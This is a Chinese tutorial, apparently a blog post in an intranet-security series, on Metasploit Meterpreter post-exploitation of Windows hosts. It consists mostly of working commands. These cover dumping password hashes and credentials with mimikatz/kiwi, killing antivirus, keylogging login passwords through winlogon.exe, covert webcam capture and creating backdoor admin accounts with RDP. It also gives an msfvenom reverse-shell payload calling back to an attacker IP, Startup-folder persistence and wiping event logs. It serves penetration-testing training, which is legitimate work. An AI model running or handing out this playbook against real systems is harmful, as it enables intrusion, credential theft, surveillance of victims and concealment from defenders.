内网安全系列-003-MSF后渗透阶段
MSF后渗透阶段
运行攻击成功之后,我们将会看到命令提示符 meterpreter出现:
切换到目标主机的windows shell: shell
要想从目标主机shell退出到 meterpreter:exit
从 meterpreter 退出到MSF框架:background
从msf切换回meterpreter:sessions -i
查看我们获得的shell,在meterpreter下输入如下命令(前面有id): sessions -l
根据输出Session列表,选择对应Session的方法(如案例所示,即可切换到id为1的shell): sessions -i 1
1 | use auxiliary/scanner/smb/smb_ms17_010 |
出现乱码我们可以输入chcp 65001来解决,在shell终端执行chcp 65001
来解决:
在meterpreter上可以使用的命令有:
需求 | 命令 |
---|---|
查看目标主机系统信息 | sysinfo |
查看目标主机详细信息 | run scraper |
导出密码的哈希 | run hashdump |
加载mimikatz | load kiwi |
查看目标主机进程信息 | ps |
查看目标当前目录(windows) | pwd |
查看目标当前目录(Linux) | getlwd |
搜索C盘的C:\Users\test\Desktop中所有以.exe为后缀的文件 | search -f *.exe -d C:\Users\test\Desktop |
将目标机的C:\\Users\\test\\Desktop\\payload.exe文件下载到/tmp目录下 | download C:\\Users\\test\\Desktop\\payload.exe /tmp/ |
将/tmp/test.txt上传到目标机的 C:\Users\test\Desktop目录下 | upload /tmp/test.txt C:\Users\test\Desktop |
查看当前Meterpreter Shell的进程PID | getpid |
将当前Meterpreter Shell的进程迁移到PID为1384的进程上 | migrate 1384 |
查看主机运行时间 | idletime |
查看获取的当前权限 | getuid |
提权,获得的当前用户是administrator才能成功 | getsystem |
关闭杀毒软件 | run killav |
截图 | screenshot |
查看目标主机的摄像头 | webcam_list |
拍照 | webcam_snap |
开视频 | webcam_stream |
执行可执行程序 | execute 参数 -f 可执行文件 |
创建hack用户,密码为123 | run getgui -u hack -p 123 |
开启远程桌面 | run getgui -e |
开启键盘记录功能 | keyscan_start |
显示捕捉到的键盘记录信息 | keyscan_dump |
停止键盘记录功能 | keyscan_stop |
禁止目标使用键盘 | uictl disable keyboard |
允许目标使用键盘 | uictl enable keyboard |
禁止目标使用鼠标 | uictl disable mouse |
允许目标使用鼠标 | uictl enable mouse |
使用扩展库 | load |
使用扩展库 | run |
反弹时间间隔是5s 会自动连接192.168.27的8888端口,缺点是容易被杀毒软件查杀 | run persistence -X -i 5 -p 8888 -r 192.168.10.27 |
将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址 | portfwd add -l 3389 -r 192.168.11.13 -p 3389 |
清除日志 | clearev |
查看系统信息与主机详细信息:
导出密码哈希与查看进程:
文件查找:
1 | search -f *.exe -d C:\\Users\\test\\Desktop |
文件下载:
1 | meterpreter > download C:\\Users\\test\\Desktop\\payload.exe /tmp/ |
文件上传与查看:
屏幕截图:
执行程序:
创建用户:run getgui -u gtmc -p 123
1 | meterpreter > run getgui -u gtmc -p 123 |
从中可以看出:run post/windows/manage/enable_rdp OPTION=value [...]
命令执行失败,即使权限够了也无法正确执行。
用 run post/windows/manage/enable_rdp USERNAME=用户名 PASSWORD=密码
,这个指令更加稳定:
1 | meterpreter > run post/windows/manage/enable_rdp USERNAME=gtmc PASSWORD=123 |
开启远程桌面:run post/windows/manage/enable_rdp
键盘相关功能:要先migrate到想要监听的对应的进程,如监听用户登录时输入的密码,就需要migrate到winlogon.exe进程。关于键盘功能,后面会详细介绍。
Post后渗透模块
该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
1 | run post/windows/manage/migrate #自动进程迁移 |
输入:sysinfo 查看目标主机的信息
查看主机是否运行在虚拟机上
1 | run post/windows/gather/checkvm |
关闭杀毒软件
拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令:
1 | run killav |
报错:信息中提示建议使用run post/windows/manage/killav OPTION=value [...]
命令
1 | meterpreter > run killav |
访问文件系统
Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下:
需求 | 命令 |
---|---|
切换目标目录 | cd |
读取文件内容 | cat |
删除文件 | rm |
使用vim编辑文件 | edit |
获取当前目录下的文件 | ls |
新建目录 | mkdir |
删除目录 | rmdir |
上传/下载文件
download file 命令可以帮助我们从目标系统中下载文件
upload file 命令则能够向目标系统上传文件。
权限提升
有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个getsystem 命令,它可以使用多种技术在目标系统中实现提权。
getuid 命令可以获取当前用户的信息,可以看到,当我们使用 getsystem进行提权后,用户权限为NTAUTHORITY\SYSTEM ,这个也就是Windows的系统权限。
注:执行getsystem命令后,会显示错误,但是其实已经运行成功了!
获取用户密码
1 | ##抓取自动登录的密码 |
为了测试凭据相关的功能,需要先建立一个shell:
1 | use exploit/multi/handler |
生成payload:
1 | msfvenom --platform windows -a x64 -p windows/meterpreter/reverse_tcp LHOST=192.168.244.135 LPORT=8888 -f exe -o payload_8888.exe |
为了实验顺利,管理员身份运行payload.exe,成功建立连接并进行提权:
使用run post/windows/gather/smart_hashdump
命令捕获哈希:
上传猕猴桃并执行:
在目标电脑会弹窗:
注意:即使提权了,也无法使用猕猴桃提取哈希值
以上是在生产环境中的基本测试。为了不影响生产环境,搭建一个本地环境:实验环境说明:
资产类型 | IP地址 | 资产来源 | 资产角色 |
---|---|---|---|
windows7 | 192.168.244.143 | itellyou | 被攻击机器 |
kali | 192.168.244.135 | kali 官方下载 | 攻击机器 |
msf6 | 安装在kali上 | - | 攻击工具 |
1 | meterpreter > help kiwi |
需求 | 命令 |
---|---|
加载kiwi模块 | load kiwi |
查看kiwi模块的使用 | help kiwi |
列举所有凭据 | creds_all |
列举所有kerberos凭据 | creds_kerberos |
列举所有msv凭据 | creds_msv |
列举所有ssp凭据 | creds_ssp |
列举所有tspkg凭据 | creds_tspkg |
列举所有wdigest凭据 | creds_wdigest |
通过DCSync检索用户帐户信息(需要有域环境) | dcsync |
通过DCSync检索用户帐户NTLM散列、SID和RID(需要有域环境) | dcsync_ntlm |
创建黄金票据(需要有域环境) | golden_ticket_create |
列举kerberos票据(需要有域环境) | kerberos_ticket_list |
清除kerberos票据(需要有域环境) | kerberos_ticket_purge |
使用kerberos票据(需要有域环境) | kerberos_ticket_use |
执行mimikatz的命令,后面接mimikatz.exe的命令 | kiwi_cmd |
dump出lsa的SAM | lsa_dump_sam |
dump出lsa的密文 | lsa_dump_secrets |
修改密码 | password_change |
列出当前用户的wifi配置文件 | wifi_list |
列出共享wifi配置文件/编码 | wifi_list_shared |
kiwi_cmd
1 | kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的命令 |
注意 kb2871997 补丁。
运行程序
先查看目标主机安装了哪些应用
1 | run post/windows/gather/enum_applications |
我们还可以使用 execute 命令在目标系统中执行应用程序。这个命令的使用方法如下:
1 | execute 参数 -f 可执行文件 |
运行后它将执行所指定的命令。可选参数如下:
需求 | 参数 |
---|---|
-f | 指定可执行文件 |
-H | 创建一个隐藏进程 |
-a | 传递给命令的参数 |
-i | 跟进程进行交互 |
-m | 从内存中执行 |
-t | 使用当前伪造的线程令牌运行进程 |
-s | 在给定会话中执行进程 |
屏幕截图
输入:screenshot ,截图目标主机屏幕,可以看到,图片被保存到了 /root 目录下,注意我们要用用户权限,System帐户是不可以的。
创建一个新账号
先查看目标主机有哪些用户
1 | run post/windows/gather/enum_logged_on_users |
接下来,我们可以在目标系统中创建一个新的用户账号:run getgui -u gtmc -p 123,这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。
如果无法创建用户,可以改用该命令:
1 | run post/windows/manage/enable_rdp USERNAME=gtmc PASSWORD=123 |
成功创建了用户并且用户自动添加到administrators组中。
如果添加到Administrators组中失败了的话,我们可以运行:shell ,进行cmd窗口手动将该用户添加到administrators组中。
1 | net localgroup administrators gtmc /add |
备注:添加失败,因为用户之前已经添加过了。
启用远程桌面
当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui 脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启),我们输入:
1 | run getgui -e 或者 run post/windows/manage/enable_rdp |
在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长: idletime
然后我们就可以使用远程桌面用我们创建的用户远程登录目标主机了。
备注:DHCP地址刷新了,从143变成了145。接下来把win7的IP地址固定未143。
键盘记录
Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
需求 | 命令 |
---|---|
开启键盘记录功能 | keyscan_start |
显示捕捉到的键盘记录信息 | keyscan_dump |
停止键盘记录功能 | keyscan_stop |
不过在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录。
进程迁移
Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。
在下面的例子中,我们会将Meterpreter跟 winlogon.exe 绑定,并在登录进程中捕获键盘记录,以获得用户的密码。
首先,我们需要使用: ps 命令查看目标设备中运行的进程
我们可以使用: getpid 查看我们当前的进程id
使用: migrate 目标进程ID 命令来绑定目标进程id,这里绑定目标pid的时候,经常会断了 shell。进程迁移后会自动关闭原来进程,没有关闭可使用 kill pid 命令关闭进程。
或者使用自动迁移进程(run post/windows/manage/migrate )命令,系统会自动寻找合适的进程然后迁移。。
绑定完成之后,我们就可以开始捕获键盘数据了,可以看到,用户输入了数据,我们可以根据此项来进行二次钓鱼欺骗等操作。
先锁定账户:
接着开启键盘记录:
1 | keyscan_start |
然后重新登录test用户:
再次执行keyscan_dump命令,可以看到登录test用户时的密码:
禁止目标主机使用键盘鼠标
需求 | 命令 |
---|---|
禁止(允许)目标使用键盘: | uictl disable (enable) keyboard |
禁止(允许)目标使用鼠标 | uictl disable (enable) mouse |
用目标主机摄像头拍照
需求 | 命令 |
---|---|
获取目标系统的摄像头列表 | webcam_list |
从指定的摄像头,拍摄照片 | webcam_snap |
从指定的摄像头,开启视频 | webcam_stream |
拍摄的照片与摄像头,分别访问上图中的jpeg图片路径与html文件路径,即可看到图片和摄像头直播。
使用扩展库
输入 load 或者 run 然后按两次Tab键
生成持续性后门
因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
建立持续性后门有两种方法,一种是通过启动项启动(persistence) ,一种是通过 服务启动(metsvc)。
启动项启动
启动项启动的话,我们先生成一个后门工具。
然后放到windows的启动目录中:
1 | C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup |
这样这个后门每次开机就都能启动了,然后我们只要相连就监听相应的端口就行了。
1 | meterpreter > upload /home/kali/payload_8888.exe C:\\Users\\test\\AppData\\Roaming\\Microsoft\\Windows\\Start\ Menu\\Programs\\Startup |
在获得win7(192.168.244.143)的meterpreter会话后,将之前生成的payload_8888.exe文件上传到win7服务器的启动项目录:
1 | upload /home/kali/payload_8888.exe C:\\Users\\test\\AppData\\Roaming\\Microsoft\\Windows\\Start\ Menu\\Programs\\Startup |
备注:payload_8888.exe生成方式
1 | msfvenom --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.244.135 lport=8888 -f exe -o payload_8888.exe |
在kali上开启监听:
重启win7,并登录test用户:
后门维持成功。
服务启动
通过服务启动,我们可以运行命令
1 | run persistence -X -i 5 -p 4446 -r 192.168.0.104 |
清除事件日志
完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,
因此我们需要在完成攻击之后使用命令 clearev 命令来清除事件日志:
导入并执行PowerShell脚本
需求 | 命令 |
---|---|
加载powershell功能 | load powershell |
导入powershell脚本,提前将该powershell脚本放到指定目录 | powershell_import /root/PowerView.ps1 |
执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块 | powershell_execute Get-NetDomain |
该功能模块用于定位域管理员登录的主机 | powershell_execute Invoke-UserHunter |
该模块用于定位域信息 | powershell_execute Get-NetForest |
查看本地组 | powershell_execute Get-NetLocalGroup |
枚举本地(或远程)机器上的本地组 | powershell_execute Get-NetLocalGroup |
枚举本地(或远程)机器上特定本地组的成员 | powershell_execute Get-NetLocalGroupMember |
返回本地(或远程)机器上的打开共享 | powershell_execute Get-NetShare |
返回登录本地(或远程)机器的用户 | powershell_execute Get-NetLoggedon |
返回本地(或远程)机器的会话信息 | powershell_execute Get-NetSession |
如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户
Meterpreter的更多用法
文件系统命令
需求 | 命令 |
---|---|
将文件内容读到屏幕上 | cat |
更改目录 | cd |
列出文件 | dir |
下载文件或目录 | download |
编辑文件 | edit |
打印本地工作目录 | getlwd |
打印工作目录 | getwd |
更改本地工作目录 | lcd |
打印本地工作目录 | lpwd |
列出文件 | ls |
制作目录 | mkdir |
将源移动到目标 | mv |
打印工作目录 | pwd |
删除指定文件 | rm |
删除目录 | rmdir |
搜索文件 | search |
列出所有挂载点/逻辑驱动器 | show_mount |
上传文件或目录 | upload |
网络命令
需求 | 命令 |
---|---|
清除事件日志 | clearev |
放弃任何活动的模拟令牌 | drop_token |
执行命令 | execute |
获取一个或多个环境变量值 | getenv |
获取当前进程标识符 | getpid |
尝试启用当前进程可用的所有权限 | getprivs |
获取服务器运行的用户的 SID | getsid |
获取服务器运行的用户 | getuid |
终止进程 | kill |
列出正在运行的进程 | ps |
重启远程计算机 | reboot |
修改远程注册表并与之交互 | reg |
在远程机器上调用 RevertToSelf() | rev2self |
放入系统命令 shell | shell |
关闭远程计算机 | shutdown |
尝试从目标进程窃取模拟令牌 | steal_token |
暂停或恢复进程列表 | suspend |
获取有关远程系统的信息,例如 OS | sysinfo |
用户界面命令
需求 | 命令 |
---|---|
列出所有可访问的桌面和工作站 | enumdesktops |
获取当前的meterpreter桌面 | getdesktop |
返回远程用户空闲的秒数 | idletime |
转储键盘记录数据 | keyscan_dump |
开始键盘记录 | keyscan_start |
停止键盘记录 | keyscan_stop |
抓取交互式桌面的截图 | screenshot |
更改meterpreters当前桌面 | setdesktop |
控制一些用户界面组件 | uictl |
摄像头命令
需求 | 命令 |
---|---|
从默认麦克风录制音频 | record_mic |
开启视频 | webcam_chat |
列出网络摄像头 | webcam_list |
从指定的网络摄像头拍摄快照 | webcam_snap |
从指定的网络摄像头播放视频流 | webcam_stream |
提权命令
1 | getsystem #尝试将您的权限提升到本地系统的权限 |
密码
1 | hashdump #转储SAM 数据库的内容 |